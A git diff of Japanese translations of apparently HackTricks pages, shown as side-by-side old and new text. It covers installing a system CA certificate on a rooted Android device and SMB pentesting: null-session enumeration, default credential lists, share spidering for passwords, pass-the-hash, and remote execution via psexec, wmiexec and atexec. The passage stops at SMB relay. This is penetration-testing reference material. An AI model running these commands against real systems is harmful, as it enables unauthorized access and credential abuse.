mount -t tmpfs tmpfs /system/etc/security/cacerts mount -t tmpfs tmpfs /system/etc/security/cacerts
``` ```
2. **CA証明書の準備**: 書き込み可能なディレクトリを設定した後、使用する CA certificates をそのディレクトリにコピーします。これはデフォルトの証明書を `/apex/com.android.conscrypt/cacerts/` からコピーすることを含む場合があります。これらの証明書のパーミッションと SELinux ラベルを適切に調整することが重要です。 2. **Preparing CA Certificates**: 書き込み可能なディレクトリをセットアップした後、使用する CA 証明書をこのディレクトリにコピーします。これデフォルトの証明書を `/apex/com.android.conscrypt/cacerts/` からコピーすることが含まれる場合があります。これらの証明書のパーミッションと SELinux ラベルを適切に調整することが重要です。
3. **Zygote 用の Bind Mount**: `nsenter` を用いて Zygote の mount namespace に入ります。Zygote は Android アプリケーションを起動するプロセスであり、この手順により以降に起動されるすべてのアプリが新しく設定した CA certificates を利用するようになります。使用するコマンドは: 3. **Bind Mounting for Zygote**: `nsenter` を利用して Zygote のマウント名前空間に入ります。Zygote は Android アプリケーションの起動を担当するプロセスであり、この手順によりこれ以降に起動されるすべてのアプリケーションが新しく設定した CA 証明書を利用するようになります。使用するコマンドは:
```bash ```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
``` ```
これにより、新しく起動するすべてのアプリが更新された CA certificates の設定に従うようになります。 これにより、起動するすべての新しいアプリが更新された CA 証明書の設定に従うようになります。
4. **実行中のアプリへの変更適用**: 既に実行中のアプリに変更を適用するには、`nsenter` を再度使用して各アプリの namespace に個別に入り、同様の bind mount を行います。必要なコマンドは: 4. **実行中のアプリに変更を適用する**: 既に実行中のアプリに変更を適用するには、`nsenter` を再度使用して各アプリの namespace に個別に入り、同様の bind mount を実行します。必要なコマンドは:
```bash ```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
``` ```
5. **代替アプローチ - ソフト再起動**:別の方法としては、`init` プロセスPID 1で bind mount を実行し、その後 `stop && start` コマンドでオペレーティングシステムをソフト再起動する方法があります。このアプローチは変更をすべての namespaces に伝播させ、各実行中の app を個別に対処する必要を回避します。ただし、再起動の手間がかかるため、この方法は一般的にはあまり好まれません。 5. **代替アプローチ - Soft Reboot**: 別の方法として、`init`プロセスPID 1でbind mountを実行し、続いて`stop && start`コマンドでオペレーティングシステムをソフトリブートする手法があります。このアプローチは変更をすべてのnamespacesに伝播させ、個々の実行中のappに対処する必要を回避します。ただし、再起動の手間があるため、一般的にはあまり好まれません。
## 参考資料 ## References
- [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) - [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)

View File

@ -4,45 +4,43 @@
## **Port 139** ## **Port 139**
The _**Network Basic Input Output System**_** (NetBIOS)** は、ローカルエリアネットワーク (LAN) 内のアプリケーション、PC、およびデスクトップがネットワークハードウェアとやり取りし、**ネットワーク上でのデータ伝送を容易にする**ために設計されたソフトウェアプロトコルです。 _**Network Basic Input Output System**_** (NetBIOS)** は、ローカルエリアネットワーク (LAN) 内のアプリケーション、PC、およびデスクトップがネットワークハードウェアとやり取りし、**ネットワーク上でのデータ伝送を容易にする**ために設計されたソフトウェアプロトコルです。NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、その NetBIOS names によって行われます。NetBIOS names は最大16文字で、しばしばコンピュータ名とは異なります。2つのアプリケーション間の NetBIOS セッションは、あるアプリケーションクライアントとして動作が別のアプリケーションサーバーとして動作に「call」コマンドを発行し、**TCP Port 139** を利用することで開始されます。
NetBIOS ネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、それらの NetBIOS 名を通じて行われます。NetBIOS 名は最大 16 文字まで許容され、しばしばコンピュータ名とは異なります。2 つのアプリケーション間の NetBIOS セッションは、一方のアプリケーション(クライアントとして動作)が他方のアプリケーション(サーバとして動作)を "call" するコマンドを発行し、**TCP Port 139** を利用することで開始されます。
``` ```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
``` ```
## Port 445 ## Port 445
技術的には、Port 139 は NBT over IP と呼ばれ、Port 445 は SMB over IP として識別されます。頭字語 **SMB****Server Message Blocks** を表し、現代では **Common Internet File System (CIFS)** としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFS は主にファイル、プリンタ、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間でさまざまな通信を行うために使用されます。 技術的には、Port 139 は 'NBT over IP' と呼ばれ、Port 445 は 'SMB over IP' と識別されます。頭字語 **SMB** は '**Server Message Blocks**' の略で、現在では **Common Internet File System (CIFS)** としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFS は主にファイル、プリンタ、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間でさまざまな通信を行うために使用されます。
例えば、Windows の文脈では、SMB は Port 445 を利用して TCP/IP 上で直接動作でき、NetBIOS over TCP/IP の必要性を排除できることが強調されます。逆に、他のシステムでは Port 139 の使用が見られ、SMB が NetBIOS over TCP/IP と組み合わせて実行されていることを示しています。 例えば、Windows の文脈では、SMB が port 445 を利用して直接 TCP/IP 上で動作できるため、NetBIOS over TCP/IP を必須としないことが強調されます。逆に他のシステムでは port 139 が使用されることがあり、これは SMB が NetBIOS over TCP/IP と併用されていることを示します。
``` ```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
``` ```
### SMB ### SMB
The **Server Message Block (SMB)** プロトコルは、**client-server** モデルで動作し、プリンタやルータなどの他のネットワークリソースと同様に、ディレクトリやファイルへの **access to files** を管理するよう設計されています。主に **Windows** 系のオペレーティングシステムで利用され、SMB は後方互換性を維持しているため、新しいバージョンの OS を搭載した端末が古いバージョンの端末とシームレスにやり取りできるようになっています。さらに、**Samba** プロジェクトは無償のソフトウェア実装を提供しており、**Linux** や **Unix** 系でも SMB を利用可能にすることで、プラットフォーム間の通信を可能にします。 The **Server Message Block (SMB)** プロトコルは **client-server** モデルで動作し、**access to files** やディレクトリ、プリンタやルータなどの他のネットワークリソースへのアクセスを制御するために設計されています。主に **Windows** オペレーティングシステム系列で利用され、SMB は後方互換性を確保しているため、Microsoft の新しいバージョンの OS を搭載した機器が古いバージョンを実行する機器とシームレスにやり取りできます。さらに、**Samba** プロジェクトは無償のソフトウェアソリューションを提供しており、SMB を **Linux** や Unix システムで実装できるようにして、SMB を介したクロスプラットフォームの通信を可能にします。
Shares**arbitrary parts of the local file system** を表す)は SMB サーバによって提供され、クライアントから見た階層はサーバの実際の構造とは部分的に **independent** になります。**Access Control Lists (ACLs)** は **access rights** を定義し、ユーザ権限に対して **fine-grained control** を可能にします。これには **`execute`**, **`read`**, および **`full access`** といった属性が含まれます。これらの権限は共有ごとに個別のユーザやグループに割り当てられ、サーバ上のローカル権限とは区別されます。 Shares はローカルファイルシステムの **arbitrary parts of the local file system** を表し、SMB サーバによって提供されることでクライアントに見える階層がサーバの実際の構造から部分的に **independent** になります。**Access Control Lists (ACLs)** は **access rights** を定義し、ユーザ権限に対して **fine-grained control** を可能にします。これには **`execute`**, **`read``,** `full access` のような属性が含まれます。これらの権限はシェア単位で個々のユーザーまたはグループに割り当てることができ、サーバ上に設定されたローカル権限とは区別されます。
### IPC$ Share ### IPC$ Share
IPC$ share へのアクセスは anonymous null session を通じて取得でき、named pipes を介して公開されているサービスとやり取りすることができます。この用途にはユーティリティ `enum4linux` が有用です。適切に利用すると、以下を取得できます: IPC$ share へのアクセスは anonymous null session を通じて取得でき、named pipes を介して公開されているサービスとやり取りすることが可能です。この目的にはユーティリティ `enum4linux` が有用です。適切に利用すると、以下の情報を取得できます:
- オペレーティングシステムに関する情報 - オペレーティングシステムに関する情報
- 親ドメインの詳細 - 親ドメインの詳細
- ローカルユーザグループの一覧 - ローカルユーザーおよびグループの一覧
- 利用可能な SMB shares に関する情報 - 利用可能な SMB シェアに関する情報
- 有効なシステムセキュリティポリシー - 実効システムセキュリティポリシー
この機能は、ネットワーク上の SMB (Server Message Block) サービスのセキュリティ状況を評価するために、ネットワーク管理者やセキュリティ担当者にとって重要です。`enum4linux` はターゲットシステムの SMB 環境を包括的に把握する手段を提供し、潜在的な脆弱性の特定や SMB サービスが適切に保護されていることを確認する上で不可欠です。 この機能はネットワーク管理者やセキュリティ担当者がネットワーク上の SMB (Server Message Block) サービスのセキュリティ姿勢を評価する上で重要です。`enum4linux` はターゲットシステムの SMB 環境を包括的に把握するための情報を提供し、潜在的な脆弱性の特定や SMB サービスが適切に保護されていることを確認するために不可欠です。
```bash ```bash
enum4linux -a target_ip enum4linux -a target_ip
``` ```
のコマンドは、`enum4linux` を使用して `target_ip` で指定されたターゲットに対してフル列挙を実行する例です。 記のコマンドは、`target_ip`で指定したターゲットに対して `enum4linux` を用いてフル列挙を行う例です。
## NTLMとは ## NTLMとは何か
NTLMが何か分からない場合、またはその仕組みや悪用方法を知りたい場合は、**NTLM** に関するこのページが非常に参考になります。そこでは**このプロトコルがどのように動作し、どのように悪用できるか**が説明されています: NTLMが何か分からない場合、またはその仕組みや悪用方法を知りたい場合は、**NTLM**に関するこのページが非常に参考になります。そこでは**このプロトコルがどのように動作し、どのように活用できるか**が説明されています:
{{#ref}} {{#ref}}
@ -51,15 +49,15 @@ NTLMが何か分からない場合、またはその仕組みや悪用方法を
## **サーバー列挙** ## **サーバー列挙**
### **Scan** ネットワーク上でホストを検索する: ### **スキャン** ネットワーク内のホストを検索する:
```bash ```bash
nbtscan -r 192.168.0.1/24 nbtscan -r 192.168.0.1/24
``` ```
### SMB サーバのバージョン ### SMB サーバのバージョン
SMBのバージョンに対する可能なexploitsを探すには、使用されているバージョンを把握することが重要です。もしこの情報が他のツールで得られない場合、次の方法が使えます: SMB バージョンに対する exploits を探すには、どのバージョンが使われているかを把握することが重要です。他の使用しているツールにこの情報が表示されない場合は、次を試してください:
- **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` を使用する - **MSF** の auxiliary モジュール `**auxiliary/scanner/smb/smb_version**` を使用する
- またはこのスクリプト: - またはこのスクリプト:
```bash ```bash
#!/bin/sh #!/bin/sh
@ -77,14 +75,14 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1 echo "" && sleep .1
``` ```
### **exploit検索** ### **exploit検索**
```bash ```bash
msf> search type:exploit platform:windows target:2008 smb msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb searchsploit microsoft smb
``` ```
### **可能な** Credentials ### **可能な** 認証情報
| **Username(s)** | **Common passwords** | | **ユーザー名** | **一般的なパスワード** |
| -------------------- | ----------------------------------------- | | -------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ | | _(blank)_ | _(blank)_ |
| guest | _(blank)_ | | guest | _(blank)_ |
@ -122,9 +120,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address> /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address> /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
``` ```
### ユーザー、グループ、ログオンユーザーの列挙 ### ユーザー、グループ、ログオン中のユーザーの列挙
この情報は既に enum4linux および enum4linux-ng から収集されているはずです。 この情報は既に enum4linux enum4linux-ng から収集されているはずです。
```bash ```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>] crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>] crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -136,7 +134,7 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers enumdomusers
enumdomgroups enumdomgroups
``` ```
### ローカルユーザーを列挙する ### ローカルユーザーの列挙
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash ```bash
@ -159,13 +157,13 @@ run
rpcclient-enumeration.md rpcclient-enumeration.md
{{#endref}} {{#endref}}
### LinuxからのGUI接続 ### linux からの GUI 接続
#### ターミナルで: #### ターミナルで:
`xdg-open smb://cascade.htb/` `xdg-open smb://cascade.htb/`
#### ファイルブラウザのウィンドウ (nautilus, thunar, etc) #### ファイルブラウザのウィンドウ (nautilus, thunar, etc)
`smb://friendzone.htb/general/` `smb://friendzone.htb/general/`
@ -173,7 +171,7 @@ rpcclient-enumeration.md
### 共有フォルダの一覧 ### 共有フォルダの一覧
アクセス可能なものがないか常に確認することをおすすめします。認証情報がない場合は **null** **credentials/guest user** を試してください。 何かにアクセスできないか常に確認することをおすすめします。credentials を持っていない場合は **null** **credentials/guest user** を試してください。
```bash ```bash
smbclient --no-pass -L //<IP> # Null user smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -201,7 +199,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
``` ```
### **手動で Windows の共有を列挙して接続する** ### **手動で Windows の共有を列挙して接続する**
ホストマシンの共有を表示することが制限されており、リストを取得しようとすると接続可能な共有がないように見えることがあります。したがって、短時間で手動で共有に接続を試みる価値があります。共有を手動で列挙する際は、有効なセッションe.g. null session or valid credentialsを使った場合に NT_STATUS_ACCESS_DENIED や NT_STATUS_BAD_NETWORK_NAME のような応答を探すとよいでしょう。これらは、共有が存在するがアクセス権がないか、または共有自体が存在しないことを示している可能性があります。 ホストマシンの共有が表示されないよう制限されている場合があり、一覧表示しようとしても接続可能な共有が存在しないように見えることがあります。したがって、短時間で手動で共有に接続してみる価値があります。共有を手動で列挙する際は、valid session例: null session や valid credentialsで NT_STATUS_ACCESS_DENIED や NT_STATUS_BAD_NETWORK_NAME といったレスポンスを探してください。これらは、共有が存在するがアクセス権がないのか、共有自体が存在しないのかを示す手掛かりになります。
Common share names for windows targets are Common share names for windows targets are
@ -214,14 +212,14 @@ Common share names for windows targets are
- SYSVOL - SYSVOL
- NETLOGON - NETLOGON
(共通の共有名は _**Network Security Assessment 3rd edition**_ より) (Common share names from _**Network Security Assessment 3rd edition**_)
You can try to connect to them by using the following command You can try to connect to them by using the following command
```bash ```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password) smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
``` ```
またはこの scriptnull session を使用) またはこのスクリプトnull sessionを使用)
```bash ```bash
#/bin/bash #/bin/bash
@ -243,7 +241,7 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
``` ```
### **Windowsで共有を列挙する(サードパーティ製ツール不要)** ### **Windowsで共有を列挙するサードパーティ製ツール不要**
PowerShell PowerShell
```bash ```bash
@ -262,14 +260,14 @@ net share
# List shares on a remote computer (including hidden ones) # List shares on a remote computer (including hidden ones)
net view \\<ip> /all net view \\<ip> /all
``` ```
MMC Snap-in (グラフィカル) MMC スナップイン(グラフィカル)
```shell ```shell
# Shared Folders: Shared Folders > Shares # Shared Folders: Shared Folders > Shares
fsmgmt.msc fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares # Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc compmgmt.msc
``` ```
explorer.exe(グラフィカル)、`\\<ip>\` を入力すると利用可能な非隠し共有が表示されます。 explorer.exe (グラフィカル)で、`\\<ip>\` を入力すると、利用可能な非表示でない共有が表示されます。
### 共有フォルダをマウントする ### 共有フォルダをマウントする
```bash ```bash
@ -278,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
``` ```
### **ファイルのダウンロード** ### **ファイルのダウンロード**
接続方法については前のセクションを参照し、credentials/Pass-the-Hash を学んでください。 前のセクションを参照し、credentials/Pass-the-Hash を使って接続する方法を学んでください。
```bash ```bash
#Search a file and download #Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -293,14 +291,14 @@ smbclient //<IP>/<share>
> mget * > mget *
#Download everything to current directory #Download everything to current directory
``` ```
コマンド: Commands:
- mask: ディレクトリ内のファイルをフィルタリングするためのマスクを指定します(例: "" はすべてのファイル) - mask: ディレクトリ内のファイルをフィルタリングするために使用されるマスクを指定します(例: "" は全ファイル)
- recurse: 再帰をオンに切り替えます(デフォルト: off - recurse: 再帰をオンにする切り替え(既定: オフ
- prompt: ファイル名の入力プロンプトをオフにします(デフォルト: on - prompt: ファイル名のプロンプトをオフにする切り替え(既定: オン
- mget: mask に一致するすべてのファイルをホストからクライアントマシンにコピーします - mget: マスクに一致するすべてのファイルをホストからクライアントにコピーします
(_smbclient の manページからの情報_) (_smbclient の man ページからの情報_)
### ドメイン共有フォルダの検索 ### ドメイン共有フォルダの検索
@ -308,57 +306,57 @@ smbclient //<IP>/<share>
```bash ```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data Snaffler.exe -s -d domain.local -o snaffler.log -v data
``` ```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider. - [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
- `-M spider_plus [--share <share_name>]` - `-M spider_plus [--share <share_name>]`
- `--pattern txt` - `--pattern txt`
```bash ```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
``` ```
Shares の中で特に注目すべきは **`Registry.xml`** というファイルで、Group Policy を介して **autologon** に設定されたユーザの **passwords** を含んでいる可能性があります。また **`web.config`** ファイルにも認証情報が含まれていることがあります。 Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
> [!TIP] > [!TIP]
> ドメイン内のすべての認証済みユーザから **SYSVOL share****読み取り可能** です。そこには多くの batch、VBScript、PowerShell の **scripts** が見つかることがあります。\ > The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
> その中の **scripts** を確認すべきで、**passwords** のような機密情報が見つかるかもしれません。 > You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
## レジストリの読み取り ## Read Registry
見つかった資格情報を使って **レジストリを読み取る** ことができる場合があります。Impacket **`reg.py`** で試すことができます: You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
```bash ```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
``` ```
## Post Exploitation ## ポストエクスプロイテーション
**デフォルトの設定** の **Samba** サーバーは通常 `/etc/samba/smb.conf` にあり、いくつかの **危険な設定** を含んでいる可能性があります: The **デフォルトの設定** a **Samba** サーバは通常 `/etc/samba/smb.conf` にあり、いくつかの **危険な設定** が含まれている可能性があります:
| **設定** | **説明** | | **設定** | **説明** |
| --------------------------- | ------------------------------------------------------------------- | | --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | 利用可能な共有を一覧表示できるか? | | `browseable = yes` | 利用可能な共有を一覧表示できるか? |
| `read only = no` | ファイルの作成と変更を禁止するか? | | `read only = no` | ファイルの作成および変更を禁止するか? |
| `writable = yes` | ユーザーがファイルを作成および変更できるようにするか? | | `writable = yes` | ユーザーがファイルを作成および変更できるようにするか? |
| `guest ok = yes` | パスワードを使わずにサービスへ接続できるようにするか? | | `guest ok = yes` | パスワードを使用せずにサービスへ接続を許可するか? |
| `enable privileges = yes` | 特定の SID に割り当てられた権限を尊重するか? | | `enable privileges = yes` | 特定のSIDに割り当てられた権限を尊重するか |
| `create mask = 0777` | 新規作成されたファイルにどの権限を割り当てるべきか? | | `create mask = 0777` | 新たに作成されるファイルにどの権限を割り当てるか? |
| `directory mask = 0777` | 新規作成されたディレクトリにどの権限を割り当てるべきか? | | `directory mask = 0777` | 新たに作成されるディレクトリにどの権限を割り当てるか? |
| `logon script = script.sh` | ユーザーのログイン時にどのスクリプトを実行する必要があるか? | | `logon script = script.sh` | ユーザーのログイン時に実行するスクリプトは何か? |
| `magic script = script.sh` | スクリプトが閉じられたときにどのスクリプトを実行するべきか? | | `magic script = script.sh` | スクリプトが終了したときにどのスクリプトを実行するか? |
| `magic output = script.out` | magic script の出力をどこに保存するか? | | `magic output = script.out` | magic script の出力をどこに保存するか? |
The command `smbstatus` gives information about the **サーバー** and about **誰が接続しているか**. `/etc/samba/smb.conf` の設定や共有の状態は `smbstatus` コマンドで確認できます。`smbstatus` コマンドは **サーバー****誰が接続しているか** に関する情報を表示します。
## Kerberos を使用して認証 ## Kerberos を使った認証
smbclient と rpcclient を使用して Kerberos に認証できます: ツール **smbclient****rpcclient** を使用して **Kerberos** **認証** することができます:
```bash ```bash
smbclient --kerberos //ws01win10.domain.com/C$ smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com rpcclient -k ws01win10.domain.com
``` ```
## **コマンド実行** ## **コマンド実行**
### **crackmapexec** ### **crackmapexec**
crackmapexecは、**悪用して**任意の**mmcexec, smbexec, atexec, wmiexec**を利用してコマンドを実行できます。**wmiexec**が**デフォルト**の方法です。使用するオプションはパラメータ `--exec-method` で指定できます: crackmapexec**mmcexec, smbexec, atexec, wmiexec** のいずれかを**悪用して**コマンドを実行できます。**wmiexec** が**デフォルト**の方法です。使用するオプションはパラメータ `--exec-method` で指定できます
```bash ```bash
apt-get install crackmapexec apt-get install crackmapexec
@ -382,9 +380,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
``` ```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
両方のオプションは被害者マシンにSMB経由で_\pipe\svcctl_を使用して**新しいサービスを作成**し、それを使って**何かを実行**します(**psexec**は実行可能ファイルをADMIN$ shareに**upload**し、**smbexec**は**cmd.exe/powershell.exe**を指して引数にpayloadを入れます --**file-less technique-**-)。\ どちらのオプションも被害者マシン上で **新しいサービスを作成**SMB 経由で _\pipe\svcctl_ を使用)し、それを使って **何かを実行** します(**psexec** は実行ファイルを ADMIN$ 共有に **upload** し、**smbexec** は **cmd.exe/powershell.exe** を指定して引数に payload を渡します --**file-less technique-**-)。\
**詳細** は [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)\ **詳細情報** は [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
**kali** では /usr/share/doc/python3-impacket/examples/ にあります In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address> ./psexec.py [[domain/]username[:password]@]<targetName or address>
@ -392,19 +390,19 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
``` ```
**parameter**`-k` を使用すると、**NTLM** の代わりに **kerberos** で認証できます **パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**で認証できます
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
ディスクに触れたり新しいサービスを起動したりせず、DCOM を介してコマンドシェルをステルスに実行します(**port 135.** 経由)。\ DCOM経由**port 135.**)でディスクに触れたり新しいサービスを起動したりせずに、コマンドシェルをステルス実行できます。\
**kali** では /usr/share/doc/python3-impacket/examples/ にあります **kali**では /usr/share/doc/python3-impacket/examples/ にあります
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password ./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
``` ```
**パラメータ**`-k` を使用すると、**NTLM** の代わりに **kerberos** に対して認証できます。 **パラメータ**`-k` を使用すると、**kerberos** に対して **NTLM** の代わりに認証できます。
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address> ./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -413,8 +411,8 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
``` ```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md) ### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Task Schedulerを介してコマンドを実行するSMB経由で _\pipe\atsvc_ を使用)。\ Task Scheduler を介してコマンドを実行します_\pipe\atsvc_ via SMB)。\
**kali**では /usr/share/doc/python3-impacket/examples/ にあります **kali** では /usr/share/doc/python3-impacket/examples/ にあります
```bash ```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command" ./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami" ./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@ -438,21 +436,21 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
``` ```
## SMB relay attack ## SMB relay attack
この攻撃は Responder toolkit を使用して内部ネットワーク上の **SMB authentication sessions** をキャプチャし、それらを **target machine** **relays** します。認証 **session is successful** の場合、自動的に **system** **shell** に落ちます。\ この攻撃は Responder toolkit を使用して内部ネットワーク上の **SMB authentication sessions** をキャプチャし、それらを **target machine**リレーします。認証 **session** が成功すると、自動的に **system** **shell** に入ります。\
